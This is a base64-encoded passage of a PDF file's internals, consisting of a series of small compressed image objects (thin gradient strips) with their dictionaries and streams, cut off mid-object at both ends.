L0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMTA3Cj4+CnN0cmVhbQp42gFgAJ//7PL/p6/WWGWcVWSp OUqYNkuePFS0PVi/PFjGN1bKO17UO17WOVvXOVvXP2HcQ2jbQWnaQGjXQGnTOmPNN2DKN2DMPmPW P2LWR2jcQF/TQV/NT2rVRFy2RlyvmK/1m6/hH4ownQplbmRzdHJlYW0KZW5kb2JqCjM5MSAwIG9i ago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29t cG9uZW50IDgKICAgL1dpZHRoIDEKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VS R0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCAxMQo+PgpzdHJlYW0KeNp79+0n AAWyAt4KZW5kc3RyZWFtCmVuZG9iagozOTIgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAg IC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAyNwogICAv SGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29k ZQogICAvTGVuZ3RoIDkyCj4+CnN0cmVhbQp42gFRAK7/3+z83Oz/Wm6hVGu5S2jGSmrPSGvTSG3X RW7XQ2zWPmTPP2PRN1vJN1vLMlDIME3DM0zCL0WyMUStMkSqLj2YLz+Ma3m4wdHrxdLa7Pj47vjw /J8slQplbmRzdHJlYW0KZW5kb2JqCjM5MyAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAg L1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDI2CiAgIC9I ZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2Rl CiAgIC9MZW5ndGggODkKPj4Kc3RyZWFtCnjaAU4Asf/97uvIkZbZiZSLMT2cKTquGjLDIDvNHDjN DyvNDyvSES7PGS/LGy/OHzDLGC3NFy3XHTTbGjXNBifbGTvRHju1FS2lHTHXYnT/2er/4fNmsSNH CmVuZHN0cmVhbQplbmRvYmoKMzk0IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3Vi dHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMQogICAvSGVpZ2h0 IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAv TGVuZ3RoIDExCj4+CnN0cmVhbQp42vv77isABcsC4QplbmRzdHJlYW0KZW5kb2JqCjM5NSAwIG9i ago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29t cG9uZW50IDgKICAgL1dpZHRoIDIKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VS R0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCAxNAo+PgpzdHJlYW0KeNp7+u3D 82+fAROGBZwKZW5kc3RyZWFtCmVuZG9iagozOTYgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0 CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAyMgog ICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURl Y29kZQogICAvTGVuZ3RoIDc3Cj4+CnN0cmVhbQp42gFCAL3//+ny+8vX/8DPyjVJzCpC0ChCyBk2 xxg1uQwqsA0spxEunAwnjhIqcRQmaBcmXxsoom11oG91xp2j0ri7y7u88ujnT/wgigplbmRzdHJl YW0KZW5kb2JqCjM5NyAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0lt YWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDI5CiAgIC9IZWlnaHQgMQogICAv Q29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGgg OTgKPj4Kc3RyZWFtCnjaAVcAqP/048X94rXUtoTbtXTGlD/BiSrKhx7ZjRXcjBHhjgzrkQXukgPz lAT4lg34lg38mA/6mQz7mwj5nQr3nRHwnBjrnCPknSvzuVjmvGr/6Jv7663+/9X//+TxcjXrCmVu ZHN0cmVhbQplbmRvYmoKMzk4IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlw ZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMjUKICAgL0hlaWdodCAx CiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xl bmd0aCA4Ngo+PgpzdHJlYW0KeNoBSwC0//v87v/+6v763f/5zP/ckf/bhve5UvasJ/urGPahCOaN AOaKAdp8ANt6CchjCbdXCrBYGbFgMaVjQbaDaMOsmrexo8XJu8HJvufz6aMUL/MKZW5kc3RyZWFt CmVuZG9iagozOTkgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFn ZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAyNAogICAvSGVpZ2h0IDEKICAgL0Nv bG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDgz Cj4+CnN0cmVhbQp42gFIALf/7v7/tMr/ssn/TGm5R2rORGrXTHXnS3jrSnnrRHPlQnTjS37nPG/a PG7hPGzoPmvsOWLiNlnBO1mxRl6oSl6dmKTM3uX/4eT1KoQqmgplbmRzdHJlYW0KZW5kb2JqCjQw MCAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRz UGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDIzCiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAv RGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggNzgKPj4Kc3RyZWFt Cnjae/7vnUanhfhULcHF6hyrFDlXK7KtkAMi5iVSbEtkGOeKMUwWZpooytAmwNwsxFjIz5DOw54k LBQhEz89LWlaxtFnp888vAAA/xwXCgplbmRzdHJlYW0KZW5kb2JqCjQwMSAwIG9iago8PCAKICAg L1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgK ICAgL1dpZHRoIDMxCiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9G aWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMTA0Cj4+CnN0cmVhbQp42gFdAKL/9NHV/8nQ q1pjtlVgoRgoth8wvxoryRYszRUtzxUt1RUu1hQu2xcv3Bsw2xsw3R0y2x8w2SMy3CMz3SIz4CM3 4iI54CA32Bw00h43zyM7uic6sCs8/6Sx+q+2/+noqUIqgAplbmRzdHJlYW0KZW5kb2JqCjQwMiAw IG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVy Q29tcG9uZW50IDgKICAgL1dpZHRoIDM0CiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2 aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMTEzCj4+CnN0cmVhbQp4 2gFmAJn/4ej6maLJk6PXTVydSlykM0ujOFCyNFC9NFHJOljSOlfVPFvYPFzXNFbRNlrSNFvSP2bb P2fZQ2zePmfZPGfYOWLWOWLWPGPaRWnjSGjjO1nTSGHVSmHRT2bMUma9lajj5ff/6Pf/dIg2SQpl bmRzdHJlYW0KZW5kb2JqCjQwMyAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5 cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDI3CiAgIC9IZWlnaHQg MQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9M ZW5ndGggOTIKPj4Kc3RyZWFtCnjaAVEArv/f7Pzc7P9bb6JWbbtOastMbNFIbdVHbtdFbtdAa9Q6 Y808Ys80Wsc1WckxT8cvTMIyS8EvQ7MxQqwzQqkvPJoyPY1teLrC0OvF1Nnp+fjs+fL9LSyLCmVu ZHN0cmVhbQplbmRvYmoKNDA0IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlw ZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMjcKICAgL0hlaWdodCAx CiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xl bmd0aCA5Mgo+PgpzdHJlYW0KeNoBUQCu//Hd3P7X2Kp8fr9zfZcZLqcULrYNKtIZONMYNcYHJr4O I7oSI9ArObsTJL0SJMgXK8wULNseOtEUMs8WNc8bOMYfO7UaOfiMpuOVr//c8//g9fJmJkMKZW5k c3RyZWFtCmVuZG9iago0MDUgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBl IC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAyMQogICAvSGVpZ2h0IDEK ICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVu Z3RoIDc0Cj4+CnN0cmVhbQp42gE/AMD//9zo0G1/7GF4yBk20hs51Rk6vgonugsoswwopw4qnRMt fgAUcAMWbiIvj1BbhlVbyaGpxqOpwaeq7+Ti6uXihR0eEAplbmRzdHJlYW0KZW5kb2JqCjQwNiAw IG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVy Q29tcG9uZW50IDgKICAgL1dpZHRoIDMwCiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2 aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMTAxCj4+CnN0cmVhbQp4 2gFaAKX//vvo//nf59i579atz6Vpt4c9v4Yv0och1Ycb3IcT5YcL6YgF7IoD8ZAF8ZAF95MJ95MJ +ZcQ+5kS+poQ/6AS+6IU6JUL5qEq3KM8/89u89KB//rD///X///l+Jk4pAplbmRzdHJlYW0KZW5k b2JqCjQwNyAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAg IC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDIzCiAgIC9IZWlnaHQgMQogICAvQ29sb3JT cGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggODAKPj4K c3RyZWFtCnjaAUUAuv///d3/9sb/9a/4yFz+xlXurS36pxn/pxX0kwbqgwPrggzPZgDKZgazVQ22 YiStZDm2eVyrfGy2lIrKv73CwsDi6Ojg6egQ3ysFCmVuZHN0cmVhbQplbmRvYmoKNDA4IDAgb2Jq Cjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21w b25lbnQgOAogICAvV2lkdGggMwogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJH QgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDE4Cj4+CnN0cmVhbQp42vv39/Wf v2///nsHACu6CLYKZW5kc3RyZWFtCmVuZG9iago0MDkgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2Jq ZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAy NAogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0 ZURlY29kZQogICAvTGVuZ3RoIDgzCj4+CnN0cmVhbQp42gFIALf/7vz/tMv/scn/RmGuSGjLRGjW RWrdSXLoSHLqQGriP2zhSXTlPmveO23gL2LXL2LYOWrhOV/OP1/EOlOwPFKne4bI0tn/1tr/CF0p gAplbmRzdHJlYW0KZW5kb2JqCjQxMCAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1 YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDIzCiAgIC9IZWln aHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAg IC9MZW5ndGggODAKPj4Kc3RyZWFtCnjaAUUAuv/n/uwrjToamC0TpSkJqyILrSMHqh0HqR8CoxkE ohoAnhYAlBQDkhYCiRMGhhUCdBIEaxALZhcUWh5dl2VhlWfE5crL4M8KsxdUCmVuZHN0cmVhbQpl bmRvYmoKNDExIDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UK ICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMzMKICAgL0hlaWdodCAxCiAgIC9Db2xv clNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCAxMTAK Pj4Kc3RyZWFtCnjaAWMAnP/No6XbnaKvO0icEiKqCyHFESzMDy3NDi3OES3LFCrOFy3OGy7OHCzQ Hi7SHSzXHizbHy7dHC3oIjPqITTkGjDaEizWFCzaHjfaLkbVMUm3HzSsIzX/kZ//vMn/xND/4u3/ 6PH4qy2yCmVuZHN0cmVhbQplbmRvYmoKNDEyIDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAog ICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggOQogICAv SGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29k ZQogICAvTGVuZ3RoIDM4Cj4+CnN0cmVhbQp42gEbAOT/+u33/u33/+z5/+v5/+7817O/17G8/trk +tzmX4YYdgplbmRzdHJlYW0KZW5kb2JqCjQxMyAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QK ICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDEKICAg L0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNv ZGUKICAgL0xlbmd0aCAxMQo+PgpzdHJlYW0KeNr78+sdAAXZAuUKZW5kc3RyZWFtCmVuZG9iago0 MTQgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0 c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAzNwogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2Ug L0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDEyMgo+PgpzdHJl YW0KeNoBbwCQ/+72+e30/+v0/8rW/8jV/3CBxz9SoT1Rqj1TuTlPvDlPvzhRxzVSyjlX0TpZ1jha 1jZY1DVZ0zNa0zVe1DVe0jtk1jtk2D5n3UFn4kNm5EJk4kVi5EVi5Edg3kpg10liv0Zfr0hin3KK uHOKqsXZ8QKjPKkKZW5kc3RyZWFtCmVuZG9iago0MTUgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2Jq ZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAy NwogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0 ZURlY29kZQogICAvTGVuZ3RoIDkwCj4+CnN0cmVhbQp42nv49vf9t/9jC5eE5+0KyD3tn3PJJ/eG a+Z1l6ybdslXTaPOAJF+0DEg0vE6pOu+z8Btr4HTJgPHtcb2qw2spxvYdueUbz94/s2RS7df/vj9 5scXAO92LCMKZW5kc3RyZWFtCmVuZG9iago0MTYgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0 CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAyNwog ICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURl Y29kZQogICAvTGVuZ3RoIDkyCj4+CnN0cmVhbQp42gFRAK7//+zu/6+/vEtfzUNcqQYjqQYjvRUv uhgvthksrBEhwB8xwR4xuRImvREnwA4mzRUv0RMvygQlxwUn1Rw+rBI2nBk7qDZXoDtZ6Ke9/+L2 /+j3nZskGQplbmRzdHJlYW0KZW5kb2JqCjQxNyAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QK ICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDIyCiAg IC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVj b2RlCiAgIC9MZW5ndGggNzcKPj4Kc3RyZWFtCnjaAUIAvf/25un/4+juvMX8tsGrMUawIDvBGDfR EzW/ACK/ACK4CymtECueECiABhtzDB+uTV6gU2PAjpfNpqvGqa3VwcPSwsOR7iHxCmVuZHN0cmVh bQplbmRvYmoKNDE4IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1h Z2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMzEKICAgL0hlaWdodCAxCiAgIC9D b2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCAx MDQKPj4Kc3RyZWFtCnjaAV0Aov//++3/5MbpxpzyxY7IikHMiD3QhjHXgR7ZgRXcfgrkggPjggDp hwLqhQHwiA3ziw7zjAnyjQDvjwD3nAXqnRPgniPVmSHJmjLQtGD65Jvw5qv//dj//tv+/uL9/+1R ADqjCmVuZHN0cmVhbQplbmRvYmoKNDE5IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAv U3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMjIKICAgL0hl aWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUK ICAgL0xlbmd0aCA3Nwo+PgpzdHJlYW0KeNoBQgC9///56//76P/62vzenti0YOOySe6uKPKtJPSl FeeFAOqDAt10ALxYALpYAcFlGLhnJsF6TsyRb8KUfdWxo8yyseLT1r94KPEKZW5kc3RyZWFtCmVu ZG9iago0MjAgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQog ICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAyNAogICAvSGVpZ2h0IDEKICAgL0NvbG9y U3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDgxCj4+ CnN0cmVhbQp42jt25/+R2/+jSndFlF8MKbtln3I+sPJ1YMV79/wXIFT40rngqVPhU8fSxw5ljw3T r5gmXbVOuOSUdNkt4bx94NbI9ANx6ZvWbX0MAOyQJ94KZW5kc3RyZWFtCmVuZG9iago0MjEgMCBv YmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNv bXBvbmVudCA4CiAgIC9XaWR0aCAyNAogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0Rldmlj ZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDgzCj4+CnN0cmVhbQp42gFI ALf/5P3nLpI8HZ0wGKouDa8mDa0lB6cfCacfA6AbBJ8dA5oZBJQYCJIZCYwaDIocDYAbDHMXEnAc El0aUpNZVZFbteK5u9y/5//paV0aTQplbmRzdHJlYW0KZW5kb2JqCjQyMiAwIG9iago8PCAKICAg L1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgK ICAgL1dpZHRoIDIKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0Zp bHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCAxNAo+PgpzdHJlYW0KeNp7+//zu/9fABQXBcEK ZW5kc3RyZWFtCmVuZG9iago0MjMgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0 eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAxCiAgIC9IZWlnaHQg MQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9M ZW5ndGggMTEKPj4Kc3RyZWFtCnjae/n3DwAFtALjCmVuZHN0cmVhbQplbmRvYmoKNDI0IDAgb2Jq Cjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21w b25lbnQgOAogICAvV2lkdGggMzgKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VS R0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCAxMjUKPj4Kc3RyZWFtCnjaAXIA jf//ztTLa3fhYHS0ES65Dyy8DSq8Dy26ECq7Eyy9FirAFSjCFynGFSfQEynUEyjYEinjGS/kGS/c ESfZEyrWFCzeIDnVHjTUHjXLFSzJFS7bKkbAHjawJD6hL0aQN0u+dYb1u8fuv8n/2+b+3eb/6Oz/ 7vOaYzWXCmVuZHN0cmVhbQplbmRvYmoKNDI1IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAog ICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMTcKICAg L0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNv ZGUKICAgL0xlbmd0aCA1OQo+PgpzdHJlYW0KeNr7//br/0dv/j/9AEL33/6/+/r4zGX5zkGFTkEN 3tFAdGzyov83n/+/8+L/wzf/Hr379fYLAAv1JzYKZW5kc3RyZWFtCmVuZG9iago0MjYgMCBvYmoK PDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBv bmVudCA4CiAgIC9XaWR0aCAzNgogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJH QgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDExNAo+PgpzdHJlYW0KeNo7ceZ9 e8+mtt7todH99u6tNu6dNv5rLf33mPkftQg8YR54yibsvHXEBZuoS9YxF6Ao+pJF9HnbpKu2Sded M+66ZDwAIqfU285pt5wyLrvmXHXLOe+Sfcot+7BT2pZle76u3vPi6uP/1578BwAtVThvCmVuZHN0 cmVhbQplbmRvYmoKNDI3IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAv SW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMjcKICAgL0hlaWdodCAxCiAg IC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0 aCA5Mgo+PgpzdHJlYW0KeNoBUQCu/+Pv++Dv/11vn1lttFJpxk1my0tl1EVf1kNf2j1Z1zVRzjVR zC5Lwy5LwytGuyhDtixBtCo8qi0+pi8+pSs6jy08gWZyrL7L68DN3ev4/+74+smTKygKZW5kc3Ry ZWFtCmVuZG9iago0MjggMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9J bWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAzCiAgIC9IZWlnaHQgMQogICAv Q29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGgg MTgKPj4Kc3RyZWFtCnjae/P/7+v//179+wsAK2QItgplbmRzdHJlYW0KZW5kb2JqCjQyOSAwIG9i ago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29t cG9uZW50IDgKICAgL1dpZHRoIDI5CiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNl UkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggOTgKPj4Kc3RyZWFtCnjaAVcA qP//3+jns7/2rrzBXnLFXnGOHTGaHDKfGi+hFiuwFi6yFC27FzC/FS/BDiu+ByPBBiPLCinLCinY FjjUFz3QGkO0CC6vCy67LEr/hqHxjqP/1OL/6fL/7fLuWyoaCmVuZHN0cmVhbQplbmRvYmoKNDMw IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQ ZXJDb21wb25lbnQgOAogICAvV2lkdGggMgogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0Rl dmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDE0Cj4+CnN0cmVhbQp4 2nv399u7v98AFB0FwwplbmRzdHJlYW0KZW5kb2JqCjQzMSAwIG9iago8PCAKICAgL1R5cGUgL1hP YmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRo IDI3CiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0Zs YXRlRGVjb2RlCiAgIC9MZW5ndGggOTIKPj4Kc3RyZWFtCnjaAVEArv/78O7/7e7/7vH/6fH/2+bu kKD+iZyuKkG1J0HGIUG8ETPAEDS4DS+wDzCsETCMDiZ+FChyGyuTV2GGXGDAnJ65n6K5q6vXy83S zMzz7e3x7ezsVS/QCmVuZHN0cmVhbQplbmRvYmoKNDMyIDAgb2JqCjw8IAogICAvVHlwZSAvWE9i amVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGgg MzMKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxh dGVEZWNvZGUKICAgL0xlbmd0aCAxMTAKPj4Kc3RyZWFtCnjaAWMAnP/57eH/7dncvZ7fvZjGm3Cy ej+5eTG5cCHNeRfReQ/efg7ifQfpfAPoewLmfQDqhwXmigHokwXrmw7mnRDnoBTjoRfcoyDpszfj tED+1nT613n/857/+7z/+8r//dX/+eb/+euCaz7SCmVuZHN0cmVhbQplbmRvYmoKNDMzIDAgb2Jq Cjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21w b25lbnQgOAogICAvV2lkdGggMjUKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VS R0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCA4Ngo+PgpzdHJlYW0KeNoBSwC0 ////7f//3//60P/6uf/4qPvZgv/Xb+quNOikJe+jHPiiG/ugHPCRE950B9t0FcBhD6xuPaNxTKSB ZZyCca6YjcazrMO0r9/U0t3U1eSuMY8KZW5kc3RyZWFtCmVuZG9iago0MzQgMCBvYmoKPDwgCiAg IC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4 CiAgIC9XaWR0aCAyOQogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAv 